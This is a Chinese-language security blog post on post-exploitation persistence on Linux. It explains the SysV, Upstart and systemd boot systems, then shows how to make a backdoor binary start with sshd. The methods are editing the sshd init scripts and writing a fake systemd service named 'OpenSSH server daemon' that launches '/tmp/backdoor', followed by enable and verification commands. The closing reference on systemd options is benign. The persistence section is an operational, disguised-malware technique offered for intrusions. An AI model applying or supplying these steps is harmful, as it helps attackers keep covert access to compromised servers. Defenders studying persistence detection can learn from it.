PythonPig's Blog 移动通信 TCP/IP Hacker 后渗透 伪码农

Linux木马自启动方式

2020-03-09
PythonPig

在后渗透过程中部署的权限维持木马经常因为目标服务器重启而失效,添加开机启动项是一种解决方法,直接添加启动项并不安全,今天记录一下如何使木马伴随系统原有进程开机自启动。

picture

图片来源于https://www.aqniu.com/threat-alert/6001.html

#0x00 Linux的三种主要启动方式

systemV、upstart、systemd是Linux系统三种主流的启动方式,systemV和upstart存在一定的局限性,systemd已经成为当下最主要的启动方式了,systemd的最大优点就是可以让开机启动的服务并行运行,减少了开机运行的时间。

三种启动方式应用的系统情况如下:

System V is the older init system:

Debian 6 and earlier
Ubuntu 9.04 and earlier
CentOS 5 and earlier

Upstart:

Ubuntu 9.10 to Ubuntu 14.10, including Ubuntu 14.04
CentOS 6

systemd is the init system for the most recent distributions featured here:

Debian 7 and Debian 8
Ubuntu 15.04 and newer
CentOS 7

三种启动方式向下兼容。

#0x01 System V启动方式

Linux内核加载完成之后, 系统执行的第一个程序就是/sbin/init。init程序会读取配置文件”/etc/inittab” 获取运行等级。
运行等级如下:

等级 运行模式
0-halt 系统直接关机
1-single user mode 单用户维护模式, 用于系统出问题时进行维护
2-multiuser mode, without NFS 多用户模式, 但是没有NFS服务
3-Full multiuser mode 多用户, 完整含有网络功能的纯文本模式
4-unused 系统保留功能
5-X11 多用户, 使用X window
6-reboot 重启模式

inittab文件负责初始化系统, 设置系统runlevel及进入各runlevel对应要执行的命令。假设当前inittab中设置的默认runlevle是5,则init会运行/etc/init.d/rc5命令,该命令会依据系统服务的依赖关系遍历执行/etc/rc5.d中的脚本/程序。进入/etc/rc5.d目录可以发现里面的文件都是到/etc/init.d/下对应的脚本/程序的软链接。以S开头的为启动的意思,以K开头的为停止。并且S/K后面的两位数数字代表了服务的启动顺序(由服务依赖关系决定)。

#0x02 Upstart启动方式

Upstart是事件驱动的,系统服务的启动、停止等等均是由事件决定的,反过来,系统服务的启动、停止也可以作为事件源触发其他服务。并且事件并不一定得由系统内部产生,用户可以手工的键入start/stop [Service]产生事件来启动/终止服务。man upstart-evnets查看upstart所定义的事件,可以发现,runlevel也被当作事件来对待(因runlevel的改变而产生的事件),还有其他如 startup,started,filesystem等等。那么系统服务又是如何知道自己应该什么时候启动,什么时候终止的呢?答案就在于/etc/init中(有的distros可能是在/etc/event.d)。进入/etc/init目录下一看,均是系统服务的配置文件,或者说是job definition files。

并不仅仅在系统启动初期,在系统运转的任何时期都可以通过发送事件来启动或终止服务。这便是Upstart的优点之一,除了用于系统初始化,还可以在系统运行阶段发挥作用。

相比之下System V initialization方式下的配置文件一般只用于系统初始化阶段,当然系统运行阶段我们可以通过/etc/init.d/Service start/stop/otherCommand来操作服务,但很明显不如Upstart方式简洁明白。

#0x03 Systemd启动方式

开发Systemd的主要目的就是减少系统引导时间和计算开销。Systemd(系统管理守护进程)最开始以GNU GPL协议授权开发,现在已转为使用GNU LGPL协议,它是如今讨论最热烈的引导和服务管理程序。如果你的Linux系统配置为使用Systemd引导程序,它取替传统的SystemV,启动过程将交给systemd处理。Systemd的一个核心功能是它同时支持SysV init的后开机启动脚本。
Systemd引入了并行启动的概念,它会为每个需要启动的守护进程建立一个套接字,这些套接字对于使用它们的进程来说是抽象的,这样它们可以允许不同守护进程之间进行交互。Systemd会创建新进程并为每个进程分配一个控制组(cgroup)。处于不同控制组的进程之间可以通过内核来互相通信。systemd处理开机启动进程的方式非常漂亮,和传统基于init的系统比起来优化了太多。

systemd管理服务的配置文件存放在三个目录,分别是:

说明
/usr/lib/systemd/system/ 安装包自带的service配置文件存放的位置。
/etc/systemd/system/ systemctl enable创建的service文件(当你手动添加了一个服务的配置文件,并且还要让它开机自启动运行,那么就必须执行systemctl enable xxx.service)。通常情况下,这些文件基本都是/usr/lib/systemd/system/下的软连接,而且是以target组分类存放的;也或者是用户手动添加的服务的service文件。
/run/systemd/system/ 运行时创建的service文件。

#0x04 木马开机自启动配置

前面讲了三种启动方式使用的配置文件,简单来说,System V启动方式的启动脚本文件在/etc/init.d/目录下,Upstart启动方式的启动脚本文件在/etc/init/目录下,Systemd启动方式的启动脚本文件在/etc/systemd/system/目录下。
针对不同的启动方式修改不同的启动脚本,以使木马伴随系统原有进程开机启动。

木马启动脚本可以写在sshd的启动脚本里面,脚本如下:

/root/tmp/backdoor>/dev/null 2>&1

#0x05 System V方式的木马启动

以下方法已在CentOS 6.8验证。虽然CentOS 6支持Upstart方式,但是默认的sshd的启动方式是System V。
采用System V启动方式的系统修改/etc/init.d/sshd文件,如下图 systemV_auto_start

#0x06 Upstart方式的木马启动

以下方法已在Ubuntu 14.04 LTS验证。
采用Upstart启动方式的系统修改/etc/init/ssh.conf,如下图 Upstart_auto_start

#0x07 Systemd方式的木马启动

以下方法CentOS 7.5已验证。
方法一:修改原有启动脚本,伴随sshd启动
采用Systemd启动方式的系统应该修改/etc/systemd/system/multi-user.target.wants/ssh.service,这里的改动相对比较大,这里只是从技术层面进行讨论,渗透过程中是否使用不在讨论范围内。主要修改的地方为:Type改为oneshot、新增ExecStart,删除Restart和RestartSec等重启相关的内容。修改后的配置如下:

[Unit]
Description=OpenSSH server daemon
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target sshd-keygen.service
Wants=sshd-keygen.service

[Service]
#Type=notify
Type=oneshot
EnvironmentFile=/etc/sysconfig/sshd
ExecStart=-/root/tmp/backdoor
ExecStart=/usr/sbin/sshd -D $OPTIONS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
#Restart=on-failure
#RestartSec=42s

[Install]
WantedBy=multi-user.target

方法二:新建启动服务
因为方法一改动相对比较大,而ExecStartPre和ExecStartPost都不能执行long-running processes,下一个服务执行时会把ExecStartPre和ExecStartPost启动的进程kill掉,因此可以选择直接添加启动服务的方式来启动木马。
仿照系统的sshd.service编写自己的ssh.service服务脚本,放在目录:/usr/lib/systemd/system/ssh.service,ExecStart为木马启动命令,代码如下:

[Unit]
Description=OpenSSH server daemon
After=network.target syslog.target cloud-config.service rc-local.service
Wants=network.target

[Service]
Type=forking
ExecStart=/tmp/backdoor
KillMode=process
Restart=on-failure
RestartSec=12s

[Install]
WantedBy=multi-user.target
Restart=on-failure
RestartSec=12s

然后执行如下命令,创建软连接到/etc/systemd/system/multi-user.target.wants/ssh.service开启开机启动

systemctl enable ssh.service 

取消自启动则执行

systemctl disable ssh.service 

#0x08 查看木马是否启动成功

各种版本的系统按如上方法添加木马启动代码后,木马将开机启动。
查看木马进程

ps -e | grep backdoor

#0x09 开机启动与禁止开机启动

System V系统:

开机启动  
update-rc.d enable apache2  
禁止开机启动  
update-rc.d disable apache2  

Upstart系统:

开机启动  
rm /etc/init/mysql.override  
禁止开机启动  
echo manual >> /etc/init/mysql.override  

Systemd系统:

参数说明

Type的类型有:
    simple(默认):# 以ExecStart字段启动的进程为主进程
    forking:  # ExecStart字段以fork()方式启动,此时父进程将退出,子进程将成为主进程(后台运行)。一般都设置为forking
    oneshot:  # 类似于simple,但只执行一次,systemd会等它执行完,才启动其他服务
    dbus:    # 类似于simple, 但会等待D-Bus信号后启动
    notify:   # 类似于simple, 启动结束后会发出通知信号,然后systemd再启动其他服务
    idle:    # 类似于simple,但是要等到其他任务都执行完,才会启动该服务。
    
EnvironmentFile:
    指定配置文件,和连词号组合使用,可以避免配置文件不存在的异常。

Environment:
    后面接多个不同的shell变量。
    例如:
    Environment=DATA_DIR=/data/elk
    Environment=LOG_DIR=/var/log/elasticsearch
    Environment=PID_DIR=/var/run/elasticsearch
    EnvironmentFile=-/etc/sysconfig/elasticsearch
    
连词号(-):在所有启动设置之前,添加的变量字段,都可以加上连词号
    表示抑制错误,即发生错误时,不影响其他命令的执行。
    比如`EnviromentFile=-/etc/sysconfig/xxx` 表示即使文件不存在,也不会抛异常
    
KillMode的类型:
    control-group(默认):# 当前控制组里的所有子进程,都会被杀掉
    process: # 只杀主进程
    mixed:   # 主进程将收到SIGTERM信号,子进程收到SIGKILL信号
    none:    # 没有进程会被杀掉,只是执行服务的stop命令
Restart的类型:
    no(默认值): # 退出后无操作
    on-success:  # 只有正常退出时(退出状态码为0),才会重启
    on-failure:  # 非正常退出时,重启,包括被信号终止和超时等
    on-abnormal: # 只有被信号终止或超时,才会重启
    on-abort:    # 只有在收到没有捕捉到的信号终止时,才会重启
    on-watchdog: # 超时退出时,才会重启
    always:      # 不管什么退出原因,都会重启
    # 对于守护进程,推荐用on-failure
RestartSec字段:
    表示systemd重启服务之前,需要等待的秒数:RestartSec: 30 
    
各种Exec*字段:
    # Exec* 后面接的命令,仅接受“指令 参数 参数..”格式,不能接受<>|&等特殊字符,很多bash语法也不支持。如果想支持bash语法,需要设置Tyep=oneshot
    ExecStart:    # 启动服务时执行的命令
    ExecReload:   # 重启服务时执行的命令 
    ExecStop:     # 停止服务时执行的命令 
    ExecStartPre: # 启动服务前执行的命令 
    ExecStartPost:# 启动服务后执行的命令 
    ExecStopPost: # 停止服务后执行的命令

    
WantedBy字段:
    multi-user.target: # 表示多用户命令行状态,这个设置很重要
    graphical.target:  # 表示图形用户状体,它依赖于multi-user.target

systemctl 命令

开机启动:  
systemctl enable apache2  
禁止开机启动:  
systemctl disable apache2  
修改服务配置重新生效:  
systemctl daemon-reload  
启动服务:  
systemctl start apache2  
停止服务:  
systemctl stop apache2  
重启服务:  
systemctl restart apache2  
查看服务状态:  
systemctl status apache2  

参考


Similar Posts

Comments